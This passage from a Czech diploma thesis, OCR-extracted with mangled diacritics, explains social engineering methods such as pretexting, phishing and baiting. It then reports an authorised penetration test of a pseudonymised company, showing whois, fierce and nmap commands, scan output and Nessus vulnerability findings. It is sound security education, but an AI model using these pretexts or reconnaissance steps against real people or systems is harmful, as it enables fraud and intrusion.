naptiklad zadat misto narozeni, piezdivku, jméno psa... Mezi oblibena hesla patii dale
pfijmeni, jména hrdini animovanych serialt, rodné cislo, slovo ,,heslo®, ¢isla 12345
apod.

* Dilezity uzivatel — utocnik predstira, ze je nékym z vedeni firmy, ma problémy, které
rychle potfebuje vyiesit a pozdda o informaci typu: typ pouzivaného softwaru pro
vzdaleny piistup, jeho konfiguraci, telefonni ¢isla k vytaceni, dalsi informace nutné
k pfilogovani se k serveru. Pracovnik technické podpory samoziejmé tidajnému nadfi-
zenému ochotné pomuze.

* Bezmocny uZivatel — Gto¢nik si vybere identitu napiiklad nového zaméstnance (nebo
zamé&stnance nepfiliS zruéného v ovladdani pocitace), ktery ma potize s prvnim
pfihlaSenim do firemni sité (popf. zapomnél heslo). Skute€ny zaméstnanec-obét’ se
snazi doty¢nému pomoci, napiiklad tim, Ze docCasn€¢ poskytne utocnikovi své
uzivatelské jméno a heslo, v pfipadé administratora pak tim, Ze napiiklad vygeneruje
pro dany ucet nové heslo.

* Pracovnik technické podpory — uto¢nik ptedstira, ze patfi do firemniho odd¢€leni
informatiky. Timto zplisobem lze zarucené ziskat pravdivé informace od bé&znych
uzivatell. Typicky mize jit o zaslani e-mailu, ktery se tvari, ze je od administratora
a pozaduje s jakymkoli od@ivodnénim op&tovné potvrzeni loginu a hesla. Radovi
zamestnanci, ktefi nejsou Skoleni, samoziejm& nemaji ani ponéti o tom, Ze hlavicka
Odesilatel viitbec nemusi obsahovat pravdivé informace.

* Obracena sociotechnika — situace se obrati: uto¢nik obvykle zaranzuje udélosti tak, aby

se na n¢j s prosbou o pomoc obratila samotna obé&t’.
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4.6.1 Pretexting

Jde o utvafeni a vyuzivani vymysleného scénafe s cilem piesvédCit obét’ k vykonani
potiebné akce nebo k ziskani potifebné informace. Toho je dosazeno skloubenim 17i s kou-
skem predem ziskané pravdivé informace. MlUze se jednat napiiklad o datum narozeni,
rodné Cislo, velikost posledniho u¢tu, jméno nadfizeného atd. Tyto informace mohou byt
nasledné pouzity pfi pokroc¢ilé komunikaci s vedoucimi zaméstnanci (zmény Uctli nebo

piikazy k pirevodu penéz).

Techniku lze také vyuzit pii vydavani se za kolegu z prace, policejniho vysetiovatele,
bankovniho ufednika, zaméstnance finan¢niho ufadu ¢i jiného zaméstnance statni spravy,
ktery by mohl mit pravo na dotazovani dané obéti. Utoénikovi stadi, aby byl piichystan na
mozné kontrolni otazky ob¢ti, ale n€kdy staci pouze autoritativni a seridzni ton hlasu

a dostatecn¢ piesveédcivy obsah konverzace.

4.6.2 Phishing

Jedna se o podvodnou techniku pouzivanou na Internetu k ziskavani citlivych udaju (hesla,
¢isla kreditnich karet apod.) od obéti utoku. Jejim principem je rozesilani e-mailovych
zprav, které se tvaii jako oficidlni Zadost banky nebo jiné podobné instituce a vyzyvaji
adresata k zadani jeho udaji na odkazovanou stranku. Tato strdnka miize napodobovat
piihlaSovaci okno internetového bankovnictvi a uzivatel do n& zada své ptihlaSovaci
jméno a heslo. Tim tyto udaje prozradi uto¢nikiim, kteti jsou poté schopni mu z uctu

ptevést penize ve svlij prospéch.

4.6.3 IVR (telefonni phishing)

Tato technika vyuZziva faleSného hlasového automatu (IVR) s podobnou strukturou jako méa
origindlni bankovni automat. Obét’ je obvykle vyzvana e-mailem k zavolani do banky za
ucelem ovéteni informace. Zde je pak pozadovéano piihlaSeni za pomoci PIN kédu nebo
hesla. N¢které automaty nasledné pienesou obét” do kontaktu s utonikem, jez vystupuje

Vv roli telefonniho bankovniho poradce, coZ mu umoziuje dal§i moZznosti otazek.

4.6.4 Baiting

Lze jej ptfirovnat k Utoku pomoci Trojského koné v realném svété. Scénai utoku je
analogicky s pouzitim Trojského koné jako Isti k dobyti daného mésta, pouze namisto

difevéného koné je pouzito médium (CD, USB disk) s programem k ,,dobyti* pocitace
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obéti. Infikované médium se pak zanecha na mist¢, kde jej obét’ s velkou pravdépodobnosti

nalezne a necha se pracovat zvédavost (¢im lakavéjsi oznaceni, tim 1épe).

Po vlozeni média do pocitace dojde k aktivaci Skodlivého kodu, s jehoz pomoci ziska

utocnik pristup k pocitaci nebo dokonce k celé siti.

4.6.5 Quid pro quo (,,néco za néco*)

Jde o nahodné vytaceni Cisel spolecnosti, kdy se uto¢nik piedstavuje jako pracovnik
technické podpory. Existuje Sance, ze nalezne nespokojen¢ho zaméstnance, kterému se
pokusi po telefonu pomoci s néjakym problémem. Na oplatku pozadd obét o instalaci

infikovaného programu nebo zvolenou akci ve firemnim informac¢nim systému.

Provedeni testu
K provéfeni zaméstnanct formou penetrac¢niho testu je vhodné pfistoupit az poté, kdy je
zavedena fizend bezpecnost IT, definovana politika bezpecnosti IT a zaméstnanci jsou

pravidelné skoleni, a to i o0 metodach socialniho inzenyrstvi.

Komiks
Be“)eénos‘n‘
portaly

Propagace
bezpeénosti

Zjistovani trovné, 2 Procesy
provér B N fizeni

Prosazovani
bezp. v praxi

. 7’ | | :
Socidlni {
:"'—
Implementace
bezpeénostni Testovani
dokumentace

Prirucky pro uzivatele, Bezpeénostni
administritory politiky

Obrazek 14. Problematika bezpec¢nosti koncovych uzivatelti

Pouzit tuto metodu jesté pred vySkolenim zaméstnancti muze plsobit pomérné ,,nefér,
nebot’ s védomim, co se v oblasti bezpecnosti smi a nesmi, se Cloveék nerodi. Jediné
zdivodnéni pro provedeni tohoto testu pred zavedenim fizené bezpecnosti IT je ukazat

vedeni firmy aktualni stav, a ziskat tak argument pro jeji zavedeni.
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Tézko lze ale vytvafet néjaké obecné platné scénéie protiopatieni, protoze socidlni
inzenyrstvi cti tfi zakonitosti:

* utok muize ptijit odkudkoliv,

* utocnik je velmi dobfe pifipraveny,

* utok je ,,Sity na miru®.
Takeé plati, Ze to, co funguje na pracovnika A, nebude fungovat na pracovnika B, a naopak.
Kazdou z cilovych skupin je tedy nutné oslovovat jinak. Stejn¢ tak je nutné pfistupovat
i k ochran¢ osobnich nebo firemnich informaci. Ne nadarmo se fika, ze nejslabsi ¢lanek
mezi zidli a klavesnici je ¢lovek. Socidlni inzenyrstvi tento nejslabsi ¢lanek jen vyuziva.
Vysledky testu

Vysledky mohou poslouzit k zmapovani aktuélni situace a zjisténi ucinnosti Skoleni o bez-
pecnosti IT. Také je mozno je pouZit jako material pro dalsi Skoleni. Odstrasujici ptipady,
které se staly ve vlastni organizaci, jsou ucinnéj$i nez memorovani obecnych zasad ¢i nez

odstrasujici ptipady v jinych zemich nebo v jinych organizacich.

Kdo si tento test na zaméstnancich vlastni organizace nevyzkouSel, bude mozna
ptekvapen, Ze tyto metody skute¢né funguji. Vysledky mohou byt pro mnohé manaZery
bezpecnosti Sokujici. Je nacase si uvédomit, Ze nejen do technického zabezpeceni, ale 1 do
neustalého vzdélavani zaméstnanct je tfeba investovat nemalé ¢astky. Zaméstnance je
tfeba motivovat, kladn¢ 1 zdporn¢, snazit se o zvySeni jejich povédomi o tom, co se smi

a co se nesmi.

Pti¢inou toho, Ze je mozné provadét sociotechnické utoky na pomérné dilezitych mistech,

muze plynout i z pocitu pfilisné virtuality oboru informacnich technologii.

Socialni inZenyrstvi je mezi ostatnimi formami utokl nejlevnéjSim a pro ¢lovéka orien-
tujiciho se v problematice také nejjednodussim zplisobem, jak narusit zabezpeceni i téch
nejzaopatfovangjsich systémii. Utoky maji pomérné vysoké procento Uispésnosti. Navic
jsou velmi Istivé, nebot’ utocnika je t€Zké az nemozné vystopovat, a jejich dopad je nékdy
drtivy.

,»Chybi zde schopnost domyslet pfesahy do reality. Zjednodusené bych to ukézal na
nasledujicim piikladu: Pokud sousedovi odcizim automobil, je v§em intuitivné ziejmé, Ze
jsem spachal zlo€in, nebot po mém skutku doty¢nému sousedovi onen automobil

evidentné chybi. Ale pokud bych od souseda zkopiroval jeho program ¢i vysledky pllro¢ni
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prace (samoziejmeé nikoli tak, ze bych se vloupal do jeho domu, ale elektronickou cestou),

) .. . .. s . 23
nic se nedéje — sousedovi prece vse zlistalo, neutrpél Zzadnou hmotnou jmu.* )

Vyhody: minimalni nédklady na testovani, minimalni znalost technickych dovednosti, velka
uspésnost z pohledu bezpecnostniho konzultanta.

Nevyhody: mozné prozrazeni a upozornéni na provadéné testovani.

Predpokiad znalosti: zéklady psychologie a procesnich postupii ve firm¢.

Ocekavany vysledek: vyuziti lidského faktoru k ziskani nejriznéjsSich informaci.
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5 PENETRACNI TEST FIRMY ,,NSOL, s.r.0.%

Test byl provadén na realné existujici spole¢nosti, ale z duvodu ochrany identity
spolecnosti budou v celé diplomové praci uvedena smyslena jména, a to jak u firmy, tak

u vSech zaméstnancii. (Pozn.: v Ceské republice neexistuje firma jménem Nsol, S.r.0.).
Vsechna zminéna a namétena data odpovidaji skutecnosti a jsou realna.

S provadénym testovanim firma Nsol, s.r.0. pisemn¢ souhlasila (viz Pfiloha P Il a P 111)
a byla seznamena se vSemi disledky, které mlze testovani pfinést. Svou ucast na ném
podminila tim, ze veskeré readln¢ namétené udaje budou v diplomové praci zveiejnény jen
zCasti, a tim padem nepovedou k jeji identifikaci. Spole¢nost byla informovana o vysled-

cich testovani a dala pisemny souhlas k vydani préce.

Test je zaméfen na technickou bezpecnost firmy a netesi procesni stranku bezpecnosti.

Strucné informace o testované spolecnosti

* Pocet zaméstnanct: 25

* Pocet pobocek: 3 — Praha, Brno, Ostrava (centralni pobocka Ostrava)
* Webové stranky: ANO

* Oboru podnikani: logistika

Informace o provedeném testovani

* Vesker¢ testovani bylo provedeno bezpecnostnim konzultantem Bc. Zbynkem Slezakem

* Testovani nebylo destruktivni

* Testovani pomoci nastroji, které by mohly omezit chod firmy, bylo provedeno v no¢nich
hodinach

* K internimu testovani vyuzil bezpe¢nostni konzultant vlastni HW i SW vybaveni

* Datum provedeni testu: od 18. 4. 2013 do 24. 5. 2013

Typy provadeénych testii

* Externi penetracni testovani (provadéno od 18. 4. 2013 do 24. 5. 2013)

* Interni penetracni testovani (provadéno od 6. 5. 2013 do 17. 5. 2013)

* Penetracni testovani bezdratovych siti (provadéno od 6. 5. 2013 do 17. 5. 2013)

* Penetra¢ni testovani webovych aplikaci (provadéno od 18. 4. 2013 do 24. 5. 2013)
* Testovani fyzické bezpec¢nosti (provadéno od 18. 4. 2013 do 24. 5. 2013)

* Testovani pomoci socialniho inzenyrstvi (provadéno od 18. 4. 2013 do 24. 5. 2013)
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5.1 Externi testovani

Test ¢. 1

Pouzity nastroj: Whois (BackTrack)

Duvod pouziti nastroje: Zjisténi blizsich informaci o doméné nsol.cz (sbér informaci)
Pouzity prikaz: whois nsol.cz

Vysledek: Doslo k ziskani zakladnich udaji o doméné (jméno vlastnika domény, adresa, IP

adresa)

Zabreh

(81.95.96.2, 2a02:4a8:ac24:100::96:2)

Obrazek 15. Vysledek ptikazu ,,whois*“
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Test €. 2

Pouzity nastroj: Maltego (BackTrack)

Duvod pouziti ndstroje: Shromazdéni vSech dostupnych informaci pomoci komplexniho
nastroje vcetné vizualizace (sbér informaci)

Aplikace: Aplications -> BackTrack -> Information Gathering -> Network Analysis ->
DNS Analysis -> Matego

Vysledek: Ziskani informaci o webovém serveru (jména hostujicich domén), informace
0 postovnim serveru, ziskani emailovych kontakt, komunikac¢ni hierarchie mezi server,

IP adresy danych zatizeni, DNS zdznamy

w""w%.h.-g%
W

-209 48 Apache Debian

T e
i : :

www R :’ p ¥ servis.nj (R : ¥
. wou S o2 | 1 g
L w2 =3 : G 2
helpdesk @R < A= lp
~ 3/
w ostrava G <2 alfa.ns active24.cz
I 200 .45 . " Sk le o
B_D \ hostmaster @Rc: 4 =
\ info @ -
#ailhon—.cz \ w
1
[ FIREY AN lg 7138
la
— terminal _ oz
elog @ -- . >
. T — ostovo A
L
intranet pENNNN—.C:
servis.ov @c— c: voip. NG c: s
s [ RECEN
LE‘ — I 137
> ) )
(& : ® — b i
franc @ .cz
I o QD
siter. QR < ig
L 3 ) L]
lp L3 cshelpdesk S c: lp
‘ 5y i S - ostmva@_.cz mvail I c:
I 20060 W
@ 1S
S s 7
00 45 Bwiie
With
‘ ASP.NET ll‘
-, Czech Republic
ASP.NET Aax

Obrazek 16. Graficky vystup programu Maltego — vztahy mezi jednotlivymi entitami



UTB ve Zliné, Fakulta aplikované informatiky, 2013 97

Test €. 3

Pouczity nastroj: Fierce (BackTrack)

Duvod pouZziti nastroje: Zjisténi vsech subdomén domény nsol.cz (sbér informaci)
Prikaz: perl ./[fierce.pl -dns nsol.cz -t

Vysledek: Vypis vSech subdomén domény nsol.cz

entest/enumeration/dns/fierce# perl ./

CFe

- not allow
- not a 1_ -l_ 0

- not allow

nmap or unicornscan):

Obrazek 17. Vysledek programu Fierce — zobrazeni v§ech znamych subdomén
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Test ¢. 4

Pouzity nastroj: Nmap (BackTrack)

Duvod pouziti nastroje: Zjisténi vsech otevienych porti pro jiz zjisténé IP adresy (sbér
informaci)

Prikaz: nmap -SS -P0 -5V -0 XXX.XXX.209.48 XXX.XXX.37.180 XXX.XXX.209.69
XXX XXXK.37.137 XXX XXX.209.45 XXX XXX.37.139 XXX.XXX.37.136

XXX XXX.209.46 XXX XXX.212.5 XXX XXX.188.26 XXX.XXX.188.20

Vysledek: Ziskani podrobnych informaci o otevienych portech na jiz ziskanych IP adresach

Nmap scan report for XXX.XXX.209.48
Host is up (0.022s latency) .
Not shown: 991 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.2.10

22/tcp open ssh OpenSSH 5.1pl Debian 5 (protocol 2.0)
53/tcp open domain ISC BIND 9.6-ESV-R1

80/tcp open http Apache httpd 2.2.9 ((Debian) PHP/5.2.6-

l+lenny9 with Suhosin-Patch)

111/tcp open rpcbind 2 (RPC #100000)
135/tcp filtered msrpc

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

1720/tcp filtered H.323/Q.931

Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Nmap scan report for XXX.XXX.37.180
Host is up (0.054s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE VERSTION
135/tcp closed msrpc

139/tcp closed netbios-ssn

443/tcp open https?

445/tcp closed microsoft-ds

Nmap scan report for hosting.nsol.cz (XXX.XXX.37.136)
Host is up (0.023s latency).

Not shown: 984 closed ports

PORT STATE SERVICE VERSION
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22/tcp

25/tcp

53/tcp

Updater
110/tcp
135/tcp
139/tcp
143/tcp
179/tcp
443/tcp
444 /tcp
445/tcp
1720/tcp
2000/tcp
3389/tcp
3390/tcp
8291 /tcp

open
filtered

open

open
filtered
filtered
open
filtered
open
open
filtered
filtered
open
open
open

open

Network Distance:

Service Info:

OSs:

ssh MikroTik RouterOS sshd (protocol 2.0)
smtp

domain MikroTik RouterOS named or OpenDNS
pop3 Microsoft Exchange 2007-2010 pop3d
msrpc

netbios-ssn

imap Microsoft Exchange 2007-2010 imapd
bgp

ssl/http Microsoft IIS httpd 7.5

ssl/snpp?

microsoft-ds

H.323/0.931

bandwidth-test MikroTik bandwidth-test server
ms-wbt-server Microsoft Terminal Service
dsc?

unknown

1 hop

Linux, Windows; Device: router; CPE:

cpe:/o:linux:linux kernel, cpe:/o:microsoft:windows

Nmap scan report for XXX.XXX.37.139

Host is up

Not shown:

PORT
21/tcp
53/tcp
Updater
80/tcp
139/tcp
1720/tcp
1723/tcp
2000/tcp
8291/tcp

STATE
open

open

open
filtered
filtered
open
open

open

Network Distance:

(0.026s latency).
992 closed ports

SERVICE VERSION

ftp MikroTik router ftpd 5.4

domain MikroTik RouterOS named or OpenDNS
http Microsoft IIS httpd 7.5

netbios-ssn

H.323/0.931

pptp MikroTik (Firmware: 1)
bandwidth-test MikroTik bandwidth-test server
unknown

1 hop

Service Info: Host: XXXX VPN XXXX; 0S: Windows; Device: router; CPE:

cpe:/o:microsoft:windows

Nmap scan report for mail.nsol.cz (XXX.XXX.37.137)

Host is up

Not shown:

(0.030s latency).

989 closed ports
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PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp filtered smtp

53/tcp open domain MikroTik RouterOS named or OpenDNS
Updater
80/tcp open http Microsoft IIS httpd 7.5

135/tcp filtered msrpc

443/tcp open ssl/http Microsoft IIS httpd 7.5
445/tcp filtered microsoft-ds

1720/tcp filtered H.323/Q.931

1723/tcp open pptp MikroTik (Firmware: 1)

2000/tcp open bandwidth-test MikroTik bandwidth-test server

8291 /tcp open unknown

OS fingerprint not ideal because: Host distance (-2 network hops) appears

to be negative

No OS matches for host

Network Distance: -2 hops

Service Info: Host: XXX VPN XXXX; OS: Windows; CPE:

cpe:/o:microsoft:windows

Nmap scan report for XXX.XXX.37.138
Host is up (0.030s latency).
Not shown: 992 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp MikroTik router ftpd 5.4

53/tcp open domain MikroTik RouterOS named or OpenDNS
Updater

139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1720/tcp filtered H.323/Q.931

1723/tcp open pptp MikroTik (Firmware: 1)

2000/tcp open bandwidth-test MikroTik bandwidth-test server

3389/tcp open ms-wbt-server Microsoft Terminal Service

OS fingerprint not ideal because: Host distance (-2 network hops) appears

to be negative
No OS matches for host
Network Distance: -2 hops

Service Info: Host: XXXX VPN XXXX; 0S: Windows; Device: router
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Nmap scan report for filter.nsol.cz (XXX.XXX.209.69)
Host is up (0.031s latency).
Not shown: 986 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh FortiSSH 2.5 (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp

80/tcp filtered http

110/tcp open pop3 Dovecot pop3d
135/tcp filtered msrpc

139/tcp filtered netbios-ssn

143/tcp open imap Dovecot imapd
443/tcp open ssl/https?
465/tcp open ssl/smtp

873/tcp filtered rsync

993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
1720/tcp filtered H.323/0Q.931

Network Distance: -2 hops

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Nmap scan report for XXX.XXX.209.45

Host is up (0.065s latency).

Not shown: 991 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 7.5
135/tcp closed msrpc

443/tcp open ssl/http Microsoft IIS httpd 7.5
445/tcp closed microsoft-ds

1049/tcp closed td-postman

2382/tcp closed ms-olap3

3389/tcp open ms-wbt-server Microsoft Terminal Service
5003/tcp closed filemaker

49155/tcp open msrpc Microsoft Windows RPC

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for mailhost.nsol.cz (XXX.XXX.209.46)
Host is up (0.048s latency).

Not shown: 991 filtered ports

PORT STATE SERVICE VERSION

110/tcp open pop3
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139/tcp closed netbios-ssn
143/tcp open imap?

443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
1026/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1030/tcp open msrpc Microsoft Windows RPC

3389/tcp open ms-wbt-server Microsoft Terminal Service

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for bankov.nsol.cz (XXX.XXX.212.5)
Host is up (0.028s latency) .
Not shown: 991 closed ports

PORT STATE SERVICE VERSION
53/tcp open domain MikroTik RouterOS named or OpenDNS
Updater

135/tcp filtered msrpc

139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1720/tcp filtered H.323/Q.931

1723/tcp open pptp MikroTik (Firmware: 1)

2000/tcp open bandwidth-test MikroTik bandwidth-test server

8291/tcp open unknown

8383/tcp open http Boa HTTPd 0.93.15

OS fingerprint not ideal because: Host distance (-2 network hops) appears

to be negative
No OS matches for host
Network Distance: -2 hops

Service Info: Host: XXXXX VPN XXXX

Nmap scan report for nsl.nsol.cz (XXX.XXX.188.26)
Host is up (0.017s latency).
Not shown: 992 filtered ports

PORT STATE SERVICE VERSION

53/tcp open domain Microsoft DNS 6.1.7601
135/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC

1049/tcp closed td-postman
1580/tcp closed tn-tl-rl
2382/tcp closed ms-olap3
5003/tcp closed filemaker
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8031/tcp closed unknown

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for XXX.XXX.188.20
Host is up (0.026s latency).

Not shown: 985 closed ports

PORT STATE SERVICE VERSION
22/tcp filtered ssh

25/tcp open smtp Postfix smtpd

80/tcp open http Apache httpd 2.2.3 ((Cent0S))
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-
7.el5 4.3

111/tcp open rpcbind 2 (RPC #100000)

143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-
7.el5 4.3

179/tcp filtered bgp

443/tcp filtered https

993/tcp open ssl/imap Cyrus imapd

995/tcp open ssl/pop3 Cyrus pop3sd

1720/tcp filtered H.323/Q.931

2000/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-
7.el5 4.3 (included w/cyrus imap)

3306/tcp open mysqgl MySQL (unauthorized)

4445/tcp open upnotifyp?

9090/tcp open http Jetty (Openfire chat server http admin)
Network Distance: -3 hops

Service Info: Hosts: voip.nsol.cz,
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Test €. 5

Pouzity nastroj: Nessus (BackTrack)

Duvod pouZziti nastroje: Zjisténi vSech dostupnych hrozeb pro jiz zjisténé IP adresy (sbér

informaci)

Prikaz: https://172.0.0.1:8834/flash.html

Vysledek: Nalezeny zranitelnosti na serverech

o XXX.XXX.209.48 — Tento server je zranitelny vici DoS utoklim, strdnky administrace
SQL server (phpmyadmin) vykazuji nachylnost k poSkozeni XSS ttokem. Tento server
jiz neni podporovan vyrobcem SW.

o XXX.XXX.209.69 — Tento server je zranitelny vii¢i DoS ttokiim

o XXX.XXX.188.20 — Oteviena SMTP ,,relay” moZnost rozesilani spamu z daného serveru

Name

FOHN KKK 20945 Completed
OO0 RN 200.46 Completed
HORO K BT 3T Completed

KRN KK 2125 Completed

FOOC XXX 209,69 Completed
FOO{ KKK .37 139 Completed
(X 188.20 Completed
FOO(HXX.37.138 Completed
FOO(HHK.37.136 Completed
HOOCXKH.37.180 Completed
FOO{ KKK 188,26 Completed
FHOO{ X 200 48 Completed

Obrazek 18. Pouziti programu Nessus — seznam testovanych IP adres
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O0000X.209.48 .209.; 80/ tcp

Plugin ID: 55976 Port/ Service: www (B0/tcp)

Plugin Name: Apache HTTP Server Byte Range DoS

Synopsis: The web server running on the remote host is affected by a
denial of service vulnerability.

Description

The version of Apache HTTP Server running on the remote host is
affected by a denial of service vulnerability. Making a series of

HTTP requests with overlapping ranges in the Range or Request-Range
request headers can result in memory and CPU exhaustion. A remote,
unauthenticated attacker could exploit this to make the system
unrespansive.

Exploit code is publicly available and attacks have reportedly been
observed in the wild.

Solution

Upgrade to Apache httpd 2.2.21 or later, or use one of the workarounds
in Apache's advisories for CVE-2011-3192. Version 2.2.20 fixed the
issue, but also introduced a regression.

If the host is running a web server based on Apache httpd, contact the
vendor for a fix.

See Also
http:iiarchives.nechapsis.cam/archives/fulldisclosure/2011-08/0203.html

http:/inanwr gossamer-threads.com/lists/apache/devi401638
i u?

hitp:ihttpd apache. crg/security/ CVE-2011-3192.txt

http:iwninw. nessus. org/u?1538124a
http:iwnarw-01.ibm. com/support/docview. wss?uid=swa24030863

Risk Factor: High

CVSS Base Score

Severity:

List

High

Obrazek 19. Pouziti programu Nessus — nalezena kriticka chyba serveru XXX.XXX.209.48

m Detail 22 results

Plugin 1D Name Port Severity
22964 Service Detection wanw (BOtcp) Low
11032 Web Server Directory Enumeration wnnw (B0itap) Low
10662 Web mirraring www (80itcp) Laow
40665 Protected Web Page Detection wanw (B0tcp) Low
42057 Web Server Allows Password Auto-Completion www (80itcp) Low
49704 External URLs ww (BOitcp) Low
49705 Web Server Harvested Email Addresses www (80/tcp) Low
39463 HTTP Server Cookies Set www (80tcp) Low
34850 Web Server Uses Basic Authentication Without HTTPS wanw (B0tcp) Low
26194 Web Server Uses Plain Text Authentication Forms ww (80itcp) Low
10107 HTTP Server Type and Version wanw (B0tcp) Low
43111 HTTP Methods Allowed (per directory) wiww (80/tcp) Low
46803 PHF expose_php Information Disclosure wanw (BOtcp) Medium
24260 HyperText Transfer Protocal (HTTP) Information wnnw (B0itap) Low
11419 Web Server Office File Inventary www (80itcp) Laow
11213 HTTP TRACE / TRACK Methods Allowed wanw (B0tcp) Medium
17219 phpMyAdmin Detection www (80itcp) Low
40984 Browsable Web Directories wanw (BO/tcp) Low
51425 phpMyAdmin error.php BBoode Tag XSS (PMASA-2010-9) www (80/tcp) Medium
55976 Apache HTTP Server Byte Range DoS www (80itcp) High
57792 Apache HTTP Server httpOnly Cookie Information Disclosure wanw (B0tcp) Medium
39521 Backported Security Patch Detection (WWW) ww (80itcp) Low

Obrazek 20. Pouziti programu Nessus — dalsi chyby nalezené na serveru XXX.XXX.209.48
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8283 / tcp List m Detail 8 resultg
Plugin 1D Name Port Severity
22964 Service Detection www (B283/tcp) Low
10662 Web mirroring wanw (B283/tcp) Lo
39463 HTTP Server Cookies Set www (8283#cp) Law
10386 Web Server No 404 Error Code Check www (8283/cp) Low
10107 HTTP Server Type and Version wrw (8283#cp) Law
24260 HyperText Transfer Protocol (HTTP) Infarmation i (B283tcp) Lo
10815 Web Server Generic XSS ww (B283/cp) Medium
44135 Web Server Generic Cookie Injection ww (8283#cp) Medium

Obrazek 21. Pouziti programu Nessus — chyby nalezené na serveru XXX.XXX.215.5

XX XXX.209.69 443 [ tcp List

Plugin ID: Port/ Service: www (443/tcp) Severity: High

Plugin Name: Apache HTTP Server Byte Range DoS

Synopsis: The web server running on the remote host is affected by a
denial of service vulnerability.

Description

The version of Apache HTTP Server running on the remote host is
affected by a denial of service vulnerability. Making a series of

HTTP requests with overlapping ranges in the Range or Request-Range
request headers can result in memory and CPU exhaustion. A remote,
unauthenticated attacker could exploit this to make the system
unresponsive.

Exploit code is publicly available and attacks have reportedly been
observed in the wild.

Solution

Upgrade to Apache httpd 2.2.21 or later, or use one of the workarounds
in Apache's advisories for CVE-2011-3192. Wersion 2.2.20 fixed the
issue, but also introduced a regression.

If the host is running a web server based on Apache httpd, contact the
vendor for a fix.

See Also
http:iarchives.nechapsis.com/archivesiulldisclosure/2011-08/0203 htm|

http:thwww. gossamer-threads. comilists/apache/dev/di 1638
N 7

http:ihttpd. apache. org/security/CVE-2011-3192.txt
http:/faniw. nessus.org/u?1538124a
hitp:faniw-01.ibm.comisu pport/docview. wss? uid=swg 24030863

Risk Factor: High

Obrazek 22. Pouziti programu Nessus — nalezena kriticka chyba serveru XXX.XXX.209.69

OO(XXX.209.69 List m Detail 14 resulis]
Plugin ID Name Port Severity
22964 Service Detection wanw (44 3/tcp) Lo
22964 Service Detection wanw (443 /tcp) Laowr
56984 S5L/ TLS Versions Supported wanw (44 3/tcp) Lo
10863 SS5L Certificate Information wanw (44 3/tcp) Laowr
62563 S5L Compression Methods Supported wanw (44 3/tcp) Lo
15901 S5L Certificate Expiry wanw (44 3/tcp) Medium
51192 SSL Certificate Cannot Be Trusted wanw (44 3/tcp) Medium
21643 S5L Cipher Suites Supparted wanw (443 /tcp) Laowr
550976 Apache HTTP Server Byte Range DoS wanw (44 3/tcp) High
42873 SSL Medium Strength Cipher Suites Supported wanw (44 3/tcp) Medium
65821 S5L RC4 Cipher Suites Supported wanw (44 3/tcp) Lo
26928 S5L Weak Cipher Suites Supported wanw (44 3/tcp) Medium
57041 SSL Perfect Forward Secrecy Cipher Suites Supported wanw (44 3/tcp) Lo
57792 Apache HTTP Server httpOnly Cockie Information Disclosure wanw (443 /tcp) Medium

Obrazek 23. Pouziti programu Nessus — dalsi chyby nalezené na serveru XXX.XXX.209.69
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20002000.188.20 m Detail 4 results
Plugin 1D Name Port Severity
22964 Service Detection smitp (254cp) Law
10263 SMTP Server Detection smitp (25/cp) Low
10167 NTMail3 Arbitrary Mail Relay smitp (254cp) High
11852 MTA Open Mail Relaying Allowed (thorough test) smitp (25tcp) High

Obrazek 24. Pouziti programu Nessus — chyby nalezené na serveru XXX.XXX.188.20

XHX00K.188.20 25 tcp

Plugin ID: 1016 Port [ Service: smip ) Severity:

Plugin Name: NTMail3 Arbitrary Mail Relay

Synopsis: An open SMTP relay is running on this port.

The remote SMTP server allows anyone to use it as a mail relay, provided
that the source address is set to '<>'

This problem allows any spammer to use your mail server to send their
mail to the world, thus wasting your network bandwidth and possibly
getting your mailserver blacklisted.

Solution

Reconfigure your SMTP server so that it cannot be used as a relay
any more.

Risk Factor: High

CVSS Base Score
7.8 (CVSS2#AV NAC:LIALN/CN/NIAC)

CVE
CVE-1999-0819

Xref
OSVDB:130

Vulnerability Publication Date: 1999/11/29
Plugin Publication Date: 1999/06/22

Plugin Last Modification Date: 2013/01/25

List

High

Obrazek 25. Pouziti programu Nessus — nalezeni kritické chyby serveru XXX.XXX.188.20

3389/ tcp List m Detail 4 results
Plugin ID Name Port Severity
57690 Terminal Services Encryption Level is Medium or Low ms-wht-server? (3389/4cp) Medium
30218 Terminal Services Encryption Level is not FIPS-140 Compliant ms-wht-server? (3389/tcp) Low
18405 Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness ms-wht-server? (3389/cp) Medium
58453 Terminal Services Doesn't Use Network Level Authentication (NLA) ms-wht-server? (3389/icp) Medium

Obrazek 26. Pouziti programu Nessus — nalezené chyby serveru XXX.XXX.209.45
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Test €. 6

Pouzity nastroj: Metasploit Pro (Kali)

Duvod pouZziti nastroje: Po nastiadani potfebnych informaci pokus o implementaci
exploitu (exploitace)

Prikaz: https://172.0.0.1:3790

Vysledek: Pribéh testli neprokazal moznost infikovani pomoci exploitace

. Project - Nsolecz v A t-test ¥ Admink
@ metasploit
